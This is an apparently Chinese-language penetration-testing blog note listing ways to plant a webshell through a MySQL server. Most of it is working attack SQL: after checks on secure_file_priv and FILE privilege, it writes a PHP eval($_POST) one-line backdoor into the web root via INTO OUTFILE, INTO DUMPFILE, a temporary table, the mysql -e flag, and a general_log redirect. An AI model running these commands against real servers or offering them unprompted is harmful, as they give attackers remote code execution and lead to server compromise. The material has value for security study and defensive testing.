小记mysql拿webshell的几种方法

/ 渗透测试 / 0 条评论 / 5015 浏览

本站的所有程序和文章,仅限用于学习和研究目的;不得用于商业或者非法用途,否则,一切后果请用户自负!!

前言

随便记录一下笔记,方便查询.最近是想到什么就记什么.

渗透测试mysql

关于如何攻击mysql请直接看这篇>Mysql数据库渗透及漏洞利用总结写的很全

拿shell

1前提需要知道网站的真实物理路径
2查看是否允许导入导出

show variables like '%secure%'  

secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出

当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下,此时如果读写发生在其他文件夹,就会报告如下错误:

RROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

另外,为了读取服务器上文件,在服务器主机上你必须有file的权限。否则报错:

ERROR 1045 (28000): Access denied for user

如果上述限制都满足的话,就可以开始了

outfile

select '<?php eval($_POST[xxx]) ?>' into outfile '/var/www/xx.php';

dumpfile

select '<?php eval($_POST[xx]) ?>' into dumpfile '/var/www/xx.php';

借助表

Drop TABLE IF EXISTS temp;Create TABLE temp(cmd text NOT NULL);Insert INTO temp (cmd) VALUES('<?php eval($_POST[xxx]) ?>');Select cmd from temp into out file '/var/www/xx.php';Drop TABLE IF EXISTS temp;

用-e参数 mysql -uuser -ppasswd -e "select '' into outfile '/var/www/xxx.php'"

利用general_log拿shell

如果导入导出被禁用了就可以用这个方法.前提是root

set global general_log=on;
set global general_log_file='/var/www/xxx.php';
select '<?php eval($_POST[jumbo]) ?>';

本文最后编辑时间为: 2019-09-29

如本文对你有帮助,点击广告支持一下吧,创造不易。

safe6